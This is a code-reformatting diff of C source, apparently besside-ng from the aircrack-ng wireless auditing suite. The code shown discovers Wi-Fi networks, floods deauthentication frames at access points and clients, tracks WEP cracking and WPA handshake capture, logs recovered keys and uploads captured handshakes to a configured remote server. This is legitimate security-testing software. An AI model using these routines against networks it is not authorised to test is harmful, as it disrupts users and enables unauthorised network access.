+#include "aircrack-osdep/osdep.h"
 #include "ieee80211.h"
 #include "crypto.h"
 #include "pcap.h"
+#include "aircrack-util/console.h"
+#include "aircrack-util/common.h"
 
 #ifdef UNUSED
 #elif defined(__GNUC__)
-# define UNUSED(x) UNUSED_ ## x __attribute__((unused))
+#define UNUSED(x) UNUSED_##x __attribute__((unused))
 #elif defined(__LCLINT__)
-# define UNUSED(x) /*@unused@*/ x
+#define UNUSED(x) /*@unused@*/ x
 #else
-# define UNUSED(x) x
+#define UNUSED(x) x
 #endif
 
-static unsigned char ZERO[32] =
-"\x00\x00\x00\x00\x00\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00"
-"\x00\x00\x00\x00\x00\x00\x00\x00";
+int PTW_DEFAULTBF[PTW_KEYHSBYTES]
+	= {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+	   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
 
-int PTW_DEFAULTBF[PTW_KEYHSBYTES] = { 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
-			      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
-
-enum {
+enum
+{
 	STATE_SCAN = 0,
 	STATE_ATTACK,
 	STATE_DONE,
 };
 
-enum {
+enum
+{
 	CRYPTO_NONE = 0,
 	CRYPTO_WEP,
 	CRYPTO_WPA,
 	CRYPTO_WPA_MGT,
 };
 
-enum {
+enum
+{
 	ASTATE_NONE = 0,
 	ASTATE_PING,
 	ASTATE_READY,
@@ -110,13 +111,15 @@
 	ASTATE_UNREACH,
 };
 
-enum {
+enum
+{
 	WSTATE_NONE = 0,
 	WSTATE_AUTH,
 	WSTATE_ASSOC,
 };
 
-enum {
+enum
+{
 	V_NORMAL = 0,
 	V_VERBOSE,
 };
@@ -124,206 +127,218 @@
 struct cracker;
 struct network;
 
-typedef void (*timer_cb)(void*);
-typedef void (*cracker_cb)(struct cracker *, struct network *n);
-typedef int (*check_cb)(struct network *n);
+typedef void (*timer_cb)(void *);
+typedef void (*cracker_cb)(struct cracker *, struct network * n);
+typedef int (*check_cb)(struct network * n);
 
-struct channel {
-	int		c_num;
-	struct channel	*c_next;
+struct channel
+{
+	int c_num;
+	struct channel * c_next;
 };
 
-struct conf {
-	char		*cf_ifname;
-	struct channel	cf_channels;
-	int		cf_hopfreq;
-	int		cf_deauthfreq;
-	unsigned char	*cf_bssid;
-	int		cf_attackwait;
-	int		cf_floodwait;
-	char		*cf_wordlist;
-	int		cf_verb;
-	int		cf_to;
-	int		cf_floodfreq;
-	int		cf_crack_int;
-	char		*cf_wpa;
-	char		*cf_wep;
-	char		*cf_log;
-	int		cf_do_wep;
-	int		cf_do_wpa;
-	char		*cf_wpa_server;
+struct conf
+{
+	char * cf_ifname;
+	struct channel cf_channels;
+	int cf_hopfreq;
+	int cf_deauthfreq;
+	unsigned char * cf_bssid;
+	int cf_attackwait;
+	int cf_floodwait;
+	char * cf_wordlist;
+	int cf_verb;
+	int cf_to;
+	int cf_floodfreq;
+	int cf_crack_int;
+	char * cf_wpa;
+	char * cf_wep;
+	char * cf_log;
+	int cf_do_wep;
+	int cf_do_wpa;
+	char * cf_wpa_server;
 #ifdef HAVE_PCRE
-    pcre *cf_essid_regex;
+	pcre * cf_essid_regex;
 #endif
 } _conf;
 
-struct timer {
-	struct timeval	t_tv;
-	timer_cb	t_cb;
-	void		*t_arg;
-	struct timer	*t_next;
+struct timer
+{
+	struct timeval t_tv;
+	timer_cb t_cb;
+	void * t_arg;
+	struct timer * t_next;
 };
 
-struct packet {
-	unsigned char	p_data[2048];
-	int		p_len;
+struct packet
+{
+	unsigned char p_data[2048];
+	int p_len;
 };
 
-struct client {
-	unsigned char	c_mac[6];
-	int		c_wpa;
-	int		c_wpa_got;
-	int		c_dbm;
-	struct packet	c_handshake[4];
-	struct client	*c_next;
+struct client
+{
+	unsigned char c_mac[6];
+	int c_wpa;
+	int c_wpa_got;
+	int c_dbm;
+	struct packet c_handshake[4];
+	struct client * c_next;
 };
 
-struct speed {
-	unsigned int	s_num;
-	struct timeval	s_start;
-	unsigned int	s_speed;
+struct speed
+{
+	unsigned int s_num;
+	struct timeval s_start;
+	unsigned int s_speed;
 };
 
-struct cracker {
+struct cracker
+{
 	int cr_pid;
 	int cr_pipe[2];
 };
 
-struct network {
-	char		n_ssid[256];
-	unsigned char	n_bssid[6];
-	int		n_crypto;
-	int		n_chan;
-	struct network	*n_next;
-	struct timeval	n_start;
-	int		n_have_beacon;
-	struct client	n_clients;
-	int		n_astate;
-	int		n_wstate;
-	unsigned short	n_seq;
-	int		n_dbm;
-	int		n_ping_sent;
-	int		n_ping_got;
-	int		n_attempts;
-	unsigned char	n_prga[2048];
-	int		n_prga_len;
-	unsigned char	n_replay[2048];
-	int		n_replay_len;
-	int		n_replay_got;
-	struct timeval	n_replay_last;
-	struct speed	n_flood_in;
-	struct speed	n_flood_out;
-	int		n_data_count;
-	int		n_crack_next;
-	PTW_attackstate	*n_ptw;
-	struct cracker	n_cracker_wep[2];
-	unsigned char	n_key[64];
-	int		n_key_len;
-	struct packet	n_beacon;
-	int		n_beacon_wrote;
-	struct client	*n_client_handshake;
-	int		n_mac_filter;
-	struct client	*n_client_mac;
-	int		n_got_mac;
+struct network
+{
+	char n_ssid[256];
+	unsigned char n_bssid[6];
+	int n_crypto;
+	int n_chan;
+	struct network * n_next;
+	struct timeval n_start;
+	int n_have_beacon;
+	struct client n_clients;
+	int n_astate;
+	int n_wstate;
+	unsigned short n_seq;
+	int n_dbm;
+	int n_ping_sent;
+	int n_ping_got;
+	int n_attempts;
+	unsigned char n_prga[2048];
+	int n_prga_len;
+	unsigned char n_replay[2048];
+	int n_replay_len;
+	int n_replay_got;
+	struct timeval n_replay_last;
+	struct speed n_flood_in;
+	struct speed n_flood_out;
+	int n_data_count;
+	int n_crack_next;
+	PTW_attackstate * n_ptw;
+	struct cracker n_cracker_wep[2];
+	unsigned char n_key[64];
+	int n_key_len;
+	struct packet n_beacon;
+	int n_beacon_wrote;
+	struct client * n_client_handshake;
+	int n_mac_filter;
+	struct client * n_client_mac;
+	int n_got_mac;
 };
 
-struct state {
-	struct wif	*s_wi;
-	int		s_state;
-	struct timeval	s_now;
-	struct timeval	s_start;
-	struct network	s_networks;
-	struct network	*s_curnet;
-	struct channel	*s_hopchan;
-	unsigned int	s_hopcycles;
-	int		s_chan;
-	unsigned char	s_mac[6];
-	struct timer	s_timers;
-	struct rx_info	*s_ri;
-	int		s_wpafd;
-	int		s_wepfd;
+struct state
+{
+	struct wif * s_wi;
+	int s_state;
+	struct timeval s_now;
+	struct timeval s_start;
+	struct network s_networks;
+	struct network * s_curnet;
+	struct channel * s_hopchan;
+	unsigned int s_hopcycles;
+	int s_chan;
+	unsigned char s_mac[6];
+	struct timer s_timers;
+	struct rx_info * s_ri;
+	int s_wpafd;
+	int s_wepfd;
 } _state;
 
-static void attack_continue(struct network *n);
-static void attack(struct network *n);
+static void attack_continue(struct network * n);
+static void attack(struct network * n);
 
-void show_wep_stats(int UNUSED(B), int UNUSED(force),
-		    PTW_tableentry UNUSED(table[PTW_KEYHSBYTES][PTW_n]),
-		    int UNUSED(choices[KEYHSBYTES]),
-		    int UNUSED(depth[KEYHSBYTES]),
-		    int UNUSED(prod))
+void show_wep_stats(int UNUSED(B),
+					int UNUSED(force),
+					PTW_tableentry UNUSED(table[PTW_KEYHSBYTES][PTW_n]),
+					int UNUSED(choices[KEYHSBYTES]),
+					int UNUSED(depth[KEYHSBYTES]),
+					int UNUSED(prod))
 {
 }
 
-static void time_printf(int verb, char *fmt, ...)
+static void time_printf(int verb, char * fmt, ...)
 {
 	time_t now = _state.s_now.tv_sec;
-	struct tm *t;
+	struct tm * t;
 	va_list ap;
 
-	if (verb > _conf.cf_verb)
-		return;
+	if (verb > _conf.cf_verb) return;
 
 	t = localtime(&now);
-	if (!t)
-		err(1, "localtime()");
+	if (!t) err(1, "localtime()");
 
-	printf("\e[K");
-        printf("[%.2d:%.2d:%.2d] ", t->tm_hour, t->tm_min, t->tm_sec);
+	erase_line(0);
+	printf("[%.2d:%.2d:%.2d] ", t->tm_hour, t->tm_min, t->tm_sec);
 
 	va_start(ap, fmt);
 	vprintf(fmt, ap);
 	va_end(ap);
 }
 
-static void cracker_kill(struct cracker *c)
+static void cracker_kill(struct cracker * c)
 {
-	if (c->cr_pid) {
+	if (c->cr_pid)
+	{
 		kill(c->cr_pid, SIGKILL);
 
-		if (c->cr_pipe[0])
-			close(c->cr_pipe[0]);
+		if (c->cr_pipe[0]) close(c->cr_pipe[0]);
 	}
 
 	memset(c, 0, sizeof(*c));
 }
 
-static char *mac2str(unsigned char *mac)
+static char * mac2str(unsigned char * mac)
 {
 	static char out[18];
 
-	snprintf(out, sizeof(out), "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",
-	         mac[0], mac[1], mac[2], mac[3], mac[4], mac[5]);
+	snprintf(out,
+			 sizeof(out),
+			 "%.2x:%.2x:%.2x:%.2x:%.2x:%.2x",
+			 mac[0],
+			 mac[1],
+			 mac[2],
+			 mac[3],
+			 mac[4],
+			 mac[5]);
 
 	return out;
 }
 
-static void save_network(FILE *f, struct network *n)
+static void save_network(FILE * f, struct network * n)
 {
 	int len;
 
-	if (n->n_crypto != CRYPTO_WPA && n->n_crypto != CRYPTO_WEP)
-		return;
+	if (n->n_crypto != CRYPTO_WPA && n->n_crypto != CRYPTO_WEP) return;
 
-	if (!n->n_have_beacon)
-		return;
+	if (!n->n_have_beacon) return;
 
-	if (n->n_astate != ASTATE_DONE)
-		return;
+	if (n->n_astate != ASTATE_DONE) return;
 
 	len = strlen(n->n_ssid);
 
 	fprintf(f, "%s", n->n_ssid);
 
-	while (len++ < 20)
-		fprintf(f, " ");
+	while (len++ < 20) fprintf(f, " ");
 
 	fprintf(f, "| ");
 	len = 0;
-	if (n->n_key_len) {
-		for (len = 0; len < n->n_key_len; len++) {
-			if (len != 0)
-				fprintf(f, ":");
+	if (n->n_key_len)
+	{
+		for (len = 0; len < n->n_key_len; len++)
+		{
+			if (len != 0) fprintf(f, ":");
 
 			fprintf(f, "%.2x", n->n_key[len]);
 		}
@@ -331,42 +346,42 @@
 		len = n->n_key_len * 3 - 1;
 	}
 
-	if (n->n_client_handshake) {
+	if (n->n_client_handshake)
+	{
 		fprintf(f, "Got WPA handshake");
 		len = 17;
 	}
 
-	if (n->n_astate == ASTATE_UNREACH) {
+	if (n->n_astate == ASTATE_UNREACH)
+	{
 		fprintf(f, "Crappy connection");
 		len = 17;
 	}
 
-	while (len++ < 38)
-		fprintf(f, " ");
+	while (len++ < 38) fprintf(f, " ");
 
 	fprintf(f, " | %s", mac2str(n->n_bssid));
 
 	fprintf(f, " | ");
-	if (n->n_got_mac)
-		fprintf(f, "%s", mac2str(n->n_client_mac->c_mac));
+	if (n->n_got_mac) fprintf(f, "%s", mac2str(n->n_client_mac->c_mac));
 
 	fprintf(f, "\n");
 }
 
 static void save_log(void)
 {
-	FILE *f;
-	struct network *n = _state.s_networks.n_next;
+	FILE * f;
+	struct network * n = _state.s_networks.n_next;
 
 	f = fopen(_conf.cf_log, "w");
-	if (!f)
-		err(1, "fopen()");
+	if (!f) err(1, "fopen()");
 
 	fprintf(f, "# SSID              ");
 	fprintf(f, "| KEY                                    | BSSID");
 	fprintf(f, "             | MAC filter\n");
 
-	while (n) {
+	while (n)
+	{
 		save_network(f, n);
 		n = n->n_next;
 	}
@@ -374,34 +389,18 @@
 	fclose(f);
 }
 
-static void do_wait(int UNUSED(x))
-{
-	wait(NULL);
-}
+static void do_wait(int UNUSED(x)) { wait(NULL); }
 
-#if 0
-static inline void hexdump(void *p, int len)
+static void * xmalloc(size_t sz)
 {
-	unsigned char *x = p;
+	void * p = malloc(sz);
 
-	while (len--)
-		printf("%.2x ", *x++);
-
-	printf("\n");
-}
-#endif
-
-static void *xmalloc(size_t sz)
-{
-	void *p = malloc(sz);
-
-	if (!p)
-		err(1, "malloc()");
+	if (!p) err(1, "malloc()");
 
 	return p;
 }
 
-static int time_diff(struct timeval *past, struct timeval *now)
+static int time_diff(struct timeval * past, struct timeval * now)
 {
 	int p = 0, n = 0;
 
@@ -416,82 +415,51 @@
 	return n - p;
 }
 
-#if 0
-static inline void timer_print(void)
-{
-	int i = 0;
-	struct timer *t = _state.s_timers.t_next;
-
-	printf(
-			#if !defined( __APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__)
-			"\nNow %lu.%lu\n",
-			#else
-			"\nNow %lu.%d\n",
-			#endif
-			_state.s_now.tv_sec, _state.s_now.tv_usec);
-
-	while (t) {
-
-		printf(
-				#if !defined( __APPLE_CC__) && !defined(__NetBSD__) && !defined(__OpenBSD__)
-				"%d) %lu.%lu %p(%p)\n",
-				#else
-				"%d) %lu.%d %p(%p)\n",
-				#endif
-		       i++,
-		       t->t_tv.tv_sec,
-		       t->t_tv.tv_usec,
-		       t->t_cb,
-		       t->t_arg);
-
-		t = t->t_next;
-	}
-}
-#endif
-
-static void timer_next(struct timeval *tv)
+static void timer_next(struct timeval * tv)
 {
-	struct timer *t = _state.s_timers.t_next;
+	struct timer * t = _state.s_timers.t_next;
 	int diff;
 
-	if (!t) {
-		tv->tv_sec  = 1;
+	if (!t)
+	{
+		tv->tv_sec = 1;
 		tv->tv_usec = 0;
 		return;
 	}
 
 	diff = time_diff(&_state.s_now, &t->t_tv);
-	if (diff <= 0) {
-		tv->tv_sec  = 0;
+	if (diff <= 0)
+	{
+		tv->tv_sec = 0;
 		tv->tv_usec = 0;
 		return;
 	}
 
-	tv->tv_sec  = diff / (1000 * 1000);
+	tv->tv_sec = diff / (1000 * 1000);
 	tv->tv_usec = diff - (tv->tv_sec * 1000 * 1000);
 }
 
-static void timer_in(int us, timer_cb cb, void *arg)
+static void timer_in(int us, timer_cb cb, void * arg)
 {
-	struct timer *t = xmalloc(sizeof(*t));
-	struct timer *p = &_state.s_timers;
+	struct timer * t = xmalloc(sizeof(*t));
+	struct timer * p = &_state.s_timers;
 	int s;
 
 	memset(t, 0, sizeof(*t));
 
-	t->t_cb  = cb;
+	t->t_cb = cb;
 	t->t_arg = arg;
-	t->t_tv  = _state.s_now;
+	t->t_tv = _state.s_now;
 
 	t->t_tv.tv_usec += us;
 
 	s = t->t_tv.tv_usec / (1000 * 1000);
-	t->t_tv.tv_sec  += s;
+	t->t_tv.tv_sec += s;
 	t->t_tv.tv_usec -= s * 1000 * 1000;
 
-	while (p->t_next) {
-		if (time_diff(&t->t_tv, &p->t_next->t_tv) > 0)
-			break;
+	while (p->t_next)
+	{
+		if (time_diff(&t->t_tv, &p->t_next->t_tv) > 0) break;
 
 		p = p->t_next;
 	}
@@ -499,18 +467,18 @@
 	t->t_next = p->t_next;
 	p->t_next = t;
 
-//	timer_print();
+	//	timer_print();
 }
 
 static void timer_check(void)
 {
-//	timer_print();
+	//	timer_print();
 
-	while (_state.s_timers.t_next) {
-		struct timer *t = _state.s_timers.t_next;
+	while (_state.s_timers.t_next)
+	{
+		struct timer * t = _state.s_timers.t_next;
 
-		if (time_diff(&t->t_tv, &_state.s_now) < 0)
-			break;
+		if (time_diff(&t->t_tv, &_state.s_now) < 0) break;
 
 		_state.s_timers.t_next = t->t_next;
 
@@ -520,13 +488,12 @@
 	}
 }
 
-static unsigned char *get_bssid(struct ieee80211_frame *wh)
+static unsigned char * get_bssid(struct ieee80211_frame * wh)
 {
 	int type = wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK;
-	uint16_t *p = (uint16_t*) (wh + 1);
+	uint16_t * p = (uint16_t *) (wh + 1);
 
-	if (type == IEEE80211_FC0_TYPE_CTL)
-		return NULL;
+	if (type == IEEE80211_FC0_TYPE_CTL) return NULL;
 
 	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS)
 		return wh->i_addr1;
@@ -534,52 +501,52 @@
 		return wh->i_addr2;
 
 	// XXX adhoc?
-	if (type == IEEE80211_FC0_TYPE_DATA)
-		return wh->i_addr1;
-
-	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK) {
-	case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
-	case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
-	case IEEE80211_FC0_SUBTYPE_DISASSOC:
-		return wh->i_addr1;
+	if (type == IEEE80211_FC0_TYPE_DATA) return wh->i_addr1;
 
-	case IEEE80211_FC0_SUBTYPE_AUTH:
-		/* XXX check len */
-		switch (le16toh(p[1])) {
-		case 1:
-		case 3:
+	switch (wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
+	{
+		case IEEE80211_FC0_SUBTYPE_ASSOC_REQ:
+		case IEEE80211_FC0_SUBTYPE_REASSOC_REQ:
+		case IEEE80211_FC0_SUBTYPE_DISASSOC:
 			return wh->i_addr1;
 
-		case 2:
-		case 4:
-			return wh->i_addr2;
-		}
-		return NULL;
+		case IEEE80211_FC0_SUBTYPE_AUTH:
+			/* XXX check len */
+			switch (le16toh(p[1]))
+			{
+				case 1:
+				case 3:
+					return wh->i_addr1;
+
+				case 2:
+				case 4:
+					return wh->i_addr2;
+			}
+			return NULL;
 
-	case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
-	case IEEE80211_FC0_SUBTYPE_REASSOC_RESP:
-	case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
-	case IEEE80211_FC0_SUBTYPE_BEACON:
-	case IEEE80211_FC0_SUBTYPE_DEAUTH:
-		return wh->i_addr2;
+		case IEEE80211_FC0_SUBTYPE_ASSOC_RESP:
+		case IEEE80211_FC0_SUBTYPE_REASSOC_RESP:
+		case IEEE80211_FC0_SUBTYPE_PROBE_RESP:
+		case IEEE80211_FC0_SUBTYPE_BEACON:
+		case IEEE80211_FC0_SUBTYPE_DEAUTH:
+			return wh->i_addr2;
 
-	case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
-	default:
-		return NULL;
+		case IEEE80211_FC0_SUBTYPE_PROBE_REQ:
+		default:
+			return NULL;
 	}
 }
 
-static struct network *network_get(struct ieee80211_frame *wh)
+static struct network * network_get(struct ieee80211_frame * wh)
 {
-	struct network *n    = _state.s_networks.n_next;
-	unsigned char *bssid = get_bssid(wh);
+	struct network * n = _state.s_networks.n_next;
+	unsigned char * bssid = get_bssid(wh);
 
-	if (!bssid)
-		return NULL;
+	if (!bssid) return NULL;
 
-	while (n) {
-		if (memcmp(n->n_bssid, bssid, sizeof(n->n_bssid)) == 0)
-			return n;
+	while (n)
+	{
+		if (memcmp(n->n_bssid, bssid, sizeof(n->n_bssid)) == 0) return n;
 
 		n = n->n_next;
 	}
@@ -587,9 +554,9 @@
 	return NULL;
 }
 
-static struct network *network_new(void)
+static struct network * network_new(void)
 {
-	struct network *n = xmalloc(sizeof(*n));
+	struct network * n = xmalloc(sizeof(*n));
 
 	memset(n, 0, sizeof(*n));
 	n->n_crack_next = _conf.cf_crack_int;
@@ -597,23 +564,21 @@
 	return n;
 }
 
-static void do_network_add(struct network *n)
+static void do_network_add(struct network * n)
 {
-	struct network *p = &_state.s_networks;
+	struct network * p = &_state.s_networks;
 
-	while (p->n_next)
-		p = p->n_next;
+	while (p->n_next) p = p->n_next;
 
 	p->n_next = n;
 }
 
-static struct network *network_add(struct ieee80211_frame *wh)
+static struct network * network_add(struct ieee80211_frame * wh)
 {
-	struct network *n;
-	unsigned char *bssid = get_bssid(wh);
+	struct network * n;
+	unsigned char * bssid = get_bssid(wh);
 
-	if (!bssid)
-		return NULL;
+	if (!bssid) return NULL;
 
 	n = network_new();
 
@@ -624,80 +589,83 @@
 	return n;
 }
 
-static inline void print_hex(void *p, int len)
+static inline void print_hex(void * p, int len)
 {
-	unsigned char *x = p;
+	unsigned char * x = p;
 
-	while (len--) {
+	while (len--)
+	{
 		printf("%.2x", *x++);
-		if (len)
-			printf(":");
+		if (len) printf(":");
 	}
 }
 
-static void network_print(struct network *n)
+static void network_print(struct network * n)
 {
-	const char *crypto = "dunno";
+	const char * crypto = "dunno";
 
-	switch (n->n_crypto) {
-	case CRYPTO_NONE:
-		crypto = "none";
-		break;
+	switch (n->n_crypto)
+	{
+		case CRYPTO_NONE:
+			crypto = "none";
+			break;
 
-	case CRYPTO_WEP:
-		crypto = "WEP";
-		break;
+		case CRYPTO_WEP:
+			crypto = "WEP";
+			break;
 
-	case CRYPTO_WPA:
-		crypto = "WPA";
-		break;
+		case CRYPTO_WPA:
+			crypto = "WPA";
+			break;
 
-	case CRYPTO_WPA_MGT:
-		crypto = "WPA-SECURE";
-		break;
+		case CRYPTO_WPA_MGT:
+			crypto = "WPA-SECURE";
+			break;
 	}
 
 	time_printf(V_VERBOSE,
-		    "Found AP %s [%s] chan %d crypto %s dbm %d\n",
-		    mac2str(n->n_bssid), n->n_ssid, n->n_chan, crypto,
-		    n->n_dbm);
+				"Found AP %s [%s] chan %d crypto %s dbm %d\n",
+				mac2str(n->n_bssid),
+				n->n_ssid,
+				n->n_chan,
+				crypto,
+				n->n_dbm);
 }
 
 static void channel_set(int num)
 {
-	if (wi_set_channel(_state.s_wi, num) == -1)
-		err(1, "wi_set_channel()");
+	if (wi_set_channel(_state.s_wi, num) == -1) err(1, "wi_set_channel()");
 
 	_state.s_chan = num;
 }
 
 static unsigned short fnseq(unsigned short fn, unsigned short seq)
 {
-        unsigned short r = 0;
+	unsigned short r = 0;
 
 	assert(fn < 16);
 
-        r = fn;
+	r = fn;
 
-        r |= ((seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
+	r |= ((seq % 4096) << IEEE80211_SEQ_SEQ_SHIFT);
 
-        return htole16(r);
+	return htole16(r);
 }
 
-static void fill_basic(struct network *n, struct ieee80211_frame *wh)
+static void fill_basic(struct network * n, struct ieee80211_frame * wh)
 {
-	uint16_t *p;
+	uint16_t * p;
 
 	memset(wh, 0, sizeof(*wh));
 
-	p  = (uint16_t*) wh->i_dur;
+	p = (uint16_t *) wh->i_dur;
 	*p = htole16(32767);
 
-	p  = (uint16_t*)wh->i_seq;
+	p = (uint16_t *) wh->i_seq;
 	*p = fnseq(0, n->n_seq++);
 }
 
-static void wifi_send(void *p, int len)
+static void wifi_send(void * p, int len)
 {
 	int rc;
 	struct tx_info tx;
@@ -705,15 +673,14 @@
 	memset(&tx, 0, sizeof(tx));
 
 	rc = wi_write(_state.s_wi, p, len, &tx);
-	if (rc == -1)
-		err(1, "wi_wirte()");
+	if (rc == -1) err(1, "wi_write()");
 }
 
-static void deauth_send(struct network *n, unsigned char *mac)
+static void deauth_send(struct network * n, unsigned char * mac)
 {
 	unsigned char buf[2048];
-	struct ieee80211_frame *wh = (struct ieee80211_frame*) buf;
-	uint16_t *rc = (uint16_t*) (wh + 1);
+	struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
+	uint16_t * rc = (uint16_t *) (wh + 1);
 
 	fill_basic(n, wh);
 	memcpy(wh->i_addr1, mac, sizeof(wh->i_addr1));
@@ -729,19 +696,19 @@
 	wifi_send(wh, (unsigned long) rc - (unsigned long) wh);
 }
 
-static void deauth(void *arg)
+static void deauth(void * arg)
 {
-	struct network *n = arg;
-	struct client *c = n->n_clients.c_next;
+	struct network * n = arg;
+	struct client * c = n->n_clients.c_next;
 
-	if (_state.s_state != STATE_ATTACK
-	    || _state.s_curnet != n
-	    || n->n_astate != ASTATE_DEAUTH)
+	if (_state.s_state != STATE_ATTACK || _state.s_curnet != n
+		|| n->n_astate != ASTATE_DEAUTH)
 		return;
 
 	deauth_send(n, BROADCAST);
 
-	while (c) {
+	while (c)
+	{
 		deauth_send(n, c->c_mac);
 		c = c->c_next;
 	}
@@ -749,55 +716,51 @@
 	timer_in(_conf.cf_deauthfreq * 1000, deauth, n);
 }
 
-static int open_pcap(char *fname)
+static int open_pcap(char * fname)
 {
 	int fd;
-        struct pcap_file_header pfh;
+	struct pcap_file_header pfh;
 
 	fd = open(fname, O_RDWR | O_APPEND);
-	if (fd != -1) {
+	if (fd != -1)
+	{
 		time_printf(V_NORMAL, "Appending to %s\n", fname);
 		return fd;
 	}
 
 	memset(&pfh, 0, sizeof(pfh));
-	pfh.magic           = TCPDUMP_MAGIC;
-	pfh.version_major   = PCAP_VERSION_MAJOR;
-	pfh.version_minor   = PCAP_VERSION_MINOR;
-	pfh.thiszone        = 0;
-	pfh.sigfigs         = 0;
-	pfh.snaplen         = 65535;
-	pfh.linktype        = LINKTYPE_IEEE802_11;
-
-        fd = open(fname, O_WRONLY | O_CREAT,
-                  S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
-	if (fd == -1)
-		err(1, "open(%s)", fname);
-
-	if (write(fd, &pfh, sizeof(pfh)) != sizeof(pfh))
-		err(1, "write()");
+	pfh.magic = TCPDUMP_MAGIC;
+	pfh.version_major = PCAP_VERSION_MAJOR;
+	pfh.version_minor = PCAP_VERSION_MINOR;
+	pfh.thiszone = 0;
+	pfh.sigfigs = 0;
+	pfh.snaplen = 65535;
+	pfh.linktype = LINKTYPE_IEEE802_11;
+
+	fd = open(fname, O_WRONLY | O_CREAT, S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH);
+	if (fd == -1) err(1, "open(%s)", fname);
+
+	if (write(fd, &pfh, sizeof(pfh)) != sizeof(pfh)) err(1, "write()");
 
 	return fd;
 }
 
-static void write_pcap(int fd, void *p, int len)
+static void write_pcap(int fd, void * p, int len)
 {
-        struct pcap_pkthdr pkh;
+	struct pcap_pkthdr pkh;
 
-        memset(&pkh, 0, sizeof(pkh));
+	memset(&pkh, 0, sizeof(pkh));
 
-        pkh.caplen  = pkh.len = len;
-	pkh.tv_sec  = _state.s_now.tv_sec;
+	pkh.caplen = pkh.len = len;
+	pkh.tv_sec = _state.s_now.tv_sec;
 	pkh.tv_usec = _state.s_now.tv_usec;
 
-	if (write(fd, &pkh, sizeof(pkh)) != sizeof(pkh))
-		err(1, "write()");
+	if (write(fd, &pkh, sizeof(pkh)) != sizeof(pkh)) err(1, "write()");
 
-	if (write(fd, p, len) != len)
-		err(1, "write()");
+	if (write(fd, p, len) != len) err(1, "write()");
 }
 
-static void packet_write_pcap(int fd, struct packet *p)
+static void packet_write_pcap(int fd, struct packet * p)
 {
 	write_pcap(fd, p->p_data, p->p_len);
 }
@@ -818,111 +781,107 @@
 	memset(&s_in, 0, sizeof(s_in));
 
 	s_in.sin_family = PF_INET;
-	s_in.sin_port   = htons(80);
+	s_in.sin_port = htons(80);
 
-	if (inet_aton(_conf.cf_wpa_server, &s_in.sin_addr) == 0) {
-		struct hostent *he;
+	if (inet_aton(_conf.cf_wpa_server, &s_in.sin_addr) == 0)
+	{
+		struct hostent * he;
 
 		he = gethostbyname(_conf.cf_wpa_server);
-		if (!he)
-			goto __no_resolve;
+		if (!he) goto __no_resolve;
 
-		if (!he->h_addr_list[0]) {
-__no_resolve:
-			time_printf(V_NORMAL, "Can't resolve %s\n",
-				    _conf.cf_wpa_server);
+		if (!he->h_addr_list[0])
+		{
+		__no_resolve:
+			time_printf(V_NORMAL, "Can't resolve %s\n", _conf.cf_wpa_server);
 			return;
 		}
 
 		memcpy(&s_in.sin_addr, he->h_addr_list[0], 4);
 	}
 
-	if ((s = socket(s_in.sin_family, SOCK_STREAM, 0)) == -1)
-		err(1, "socket()");
+	if ((s = socket(s_in.sin_family, SOCK_STREAM, 0)) == -1) err(1, "socket()");
 
-	if (connect(s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1) {
-		time_printf(V_NORMAL, "Can't connect to %s\n",
-			    _conf.cf_wpa_server);
+	if (connect(s, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
+	{
+		time_printf(V_NORMAL, "Can't connect to %s\n", _conf.cf_wpa_server);
 
 		close(s);
 		return;
 	}
 
-	if (fstat(_state.s_wpafd, &stat) == -1)
-		err(1, "fstat()");
+	if (fstat(_state.s_wpafd, &stat) == -1) err(1, "fstat()");
 
-	snprintf(boundary, sizeof(boundary),
-		 "37872861916401860062104501923");
+	snprintf(boundary, sizeof(boundary), "37872861916401860062104501923");
 
-	snprintf(h1, sizeof(h1),
-		 "--%s\r\n"
-		 "Content-Disposition: form-data;"
+	snprintf(h1,
+			 sizeof(h1),
+			 "--%s\r\n"
+			 "Content-Disposition: form-data;"
 			 " name=\"file\";"
 			 " filename=\"wpa.cap\"\r\n"
-		 "Content-Type: application/octet-stream\r\n\r\n", boundary);
-
-	snprintf(form, sizeof(form),
-		 "\r\n"
-		 "--%s\r\n"
-		 "Content-Disposition: form-data;"
-		 " name=\"fs\"\r\n\r\n"
-		 "Upload"
-		 "\r\n"
-		 "%s--\r\n", boundary, boundary);
+			 "Content-Type: application/octet-stream\r\n\r\n",
+			 boundary);
+
+	snprintf(form,
+			 sizeof(form),
+			 "\r\n"
+			 "--%s\r\n"
+			 "Content-Disposition: form-data;"
+			 " name=\"fs\"\r\n\r\n"
+			 "Upload"
+			 "\r\n"
+			 "%s--\r\n",
+			 boundary,
+			 boundary);
 
 	tot = stat.st_size;
 
-	snprintf(buf, sizeof(buf),
-		"POST /index.php HTTP/1.0\r\n"
-		"Host: %s\r\n"
-		"User-Agent: besside-ng\r\n"
-		"Content-Type: multipart/form-data; boundary=%s\r\n"
-		"Content-Length: %d\r\n\r\n",
-		_conf.cf_wpa_server,
-		boundary,
-		(int) (strlen(h1) + strlen(form) + tot));
+	snprintf(buf,
+			 sizeof(buf),
+			 "POST /index.php HTTP/1.0\r\n"
+			 "Host: %s\r\n"
+			 "User-Agent: besside-ng\r\n"
+			 "Content-Type: multipart/form-data; boundary=%s\r\n"
